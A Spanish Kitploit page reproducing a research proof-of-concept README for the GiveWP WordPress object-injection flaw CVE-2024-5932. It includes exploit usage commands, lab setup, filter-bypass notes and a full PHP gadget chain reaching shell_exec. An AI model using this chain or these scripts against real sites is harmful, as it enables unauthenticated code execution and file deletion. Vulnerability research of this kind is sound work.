Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-5932 | Kitploit
Herramientas/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubnishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esta publicación es un artículo de investigación publicado por EQSTLab.

❗❗ IMPORTANTE ❗❗

Actualmente existen repositorios PoC falsos en GitHub que ejecutan xmrig. Consulta el siguiente enlace para más información:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC de eliminación arbitraria de archivos y RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Cronología

25 ago : PoC de eliminación de archivos CVE-2024-5932 subido

26 ago : Hemos ejecutado con éxito comandos arbitrarios usando CVE-2024-5932, pero estamos considerando la divulgación debido al impacto.

27 ago : Encontramos un análisis detallado del PoC en una publicación de Julien Ahrens de RCE Security y decidimos publicar nuestro PoC de RCE. Subimos un PoC de RCE adicional como CVE-2024-5932-rce.py.

Descripción

CVE-2024-5932 : Vulnerabilidad de inyección de objetos PHP de GiveWP Descripción: El plugin GiveWP Donation Plugin and Fundraising Platform para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta la 3.14.1 inclusive, mediante la deserialización de entrada no confiable del parámetro 'give_title'. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios.

Cómo usar

Clonar con Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Instalar paquetes

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Eliminación arbitraria de archivos
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Ejecución remota de código
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Ejemplo

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Salida

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Resultado

image 2

Entorno vulnerable

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Luego descarga el plugin vulnerable GiveWP:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Descomprime el archivo zip del plugin GiveWP y copia todo el contenido al directorio “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activa el plugin GiveWP

image

5. Añade una nueva entrada con el plugin GiveWP y copia el enlace de la entrada

image

6. Comprueba el enlace vulnerable

image

(Opcional) Configurar el archivo objetivo en el entorno Docker

Primero, accede al shell de WordPress con el siguiente comando:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Si el archivo pertenece a root, es posible que no se pueda eliminar debido a los permisos. Por lo tanto, debes cambiar el propietario del archivo de prueba con el siguiente comando:

root@kitploit:~
touch test && chown www-data test

image

Depuración con PHPSTORM

Puedes depurar tu GiveWP usando PHPSTORM.

1. Descarga xdebug en tu WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Luego configura el archivo php.ini de WordPress así (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

...Y luego puedes depurar tu WordPress.

3. Configura PHPSTORM así (Local):

image image

4. Ejemplo de PHPSTORM (p. ej., eliminación arbitraria de archivos TCPDF)

image

Análisis

Punto vulnerable (includes/payments/class-give-payment.php)

En este punto, la función get_meta() deserializa el valor "give_title" guardado previamente.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Técnica de bypass

strip_tags: reemplaza los bytes nulos -> usando \0

stripslashes_deep: reemplaza las barras invertidas -> usando \\\\

Encadenamiento POP para RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Devuelve la cadena de comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Escenario de ataque

RCE a través de la cadena POP

La cadena POP permite la ejecución remota de comandos. image

Eliminación arbitraria de archivos

Usando TCPDF, puedes explotar la eliminación arbitraria de archivos.

Descargo de responsabilidad

Este repositorio no pretende ser un exploit de inyección de objetos para CVE-2024-5932. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si estás interesado, sigue los enlaces de abajo para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do

Referencias

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Descargar herramienta